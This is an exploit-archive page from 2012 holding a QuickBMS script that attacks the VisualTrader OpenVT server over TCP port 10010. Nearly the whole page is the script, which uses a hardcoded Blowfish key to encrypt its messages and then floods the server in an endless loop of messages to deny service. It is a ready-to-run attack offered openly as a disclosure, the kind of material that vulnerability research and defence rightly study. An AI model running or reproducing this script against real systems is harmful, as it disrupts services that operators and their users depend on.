VisualTrader OpenVT lame Denial of Service



EKU-ID: 2382 CVE: OSVDB-ID:
Author: Luigi Auriemma Published: 2012-07-02 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# VisualTrader OpenVT lame Denial of Service
# quickbms -n openvt_dos.bms "tcp://SERVER:10010" .
# script for Quickbms http://quickbms.aluigi.org

get SERVER fullname
set KEY string "3jds894jsnwmtod0295jdhbtr5bv789dsjkerk59fjq2k39fklwo04dm"

set MEMORY_FILE binary "10|full_program_name|username|password|"
callfunction OPENVT_SEND

# Denial of Service
for
    set MEMORY_FILE binary "1|1|1|program_exe|description|version|1"
    callfunction OPENVT_SEND
next

for
    callfunction OPENVT_RECV
next

startfunction OPENVT_SEND
    get SIZE asize MEMORY_FILE
    #goto 0 MEMORY_FILE
    #getdstring DATA SIZE MEMORY_FILE
    #print "SEND: %DATA%"
    math SIZE x= 8
    putvarchr MEMORY_FILE SIZE 0

    encryption bf_cbc KEY "" 1
    log MEMORY_FILE 0 SIZE MEMORY_FILE
    encryption "" ""

    string TMP p= "#%07x" SIZE
    putdstring TMP 8
    log SERVER 0 SIZE MEMORY_FILE
    put 0x0d byte
    put 0x0a byte
endfunction

startfunction OPENVT_RECV
    getdstring SIZE 8
    putvarchr SIZE 0 0x24
    getdstring DATA SIZE
    getdstring TMP 2
    encryption bf_cbc KEY ""
    string DATA E= DATA
    encryption "" ""
    strlen SIZE DATA
    print "RECV: %DATA%"
endfunction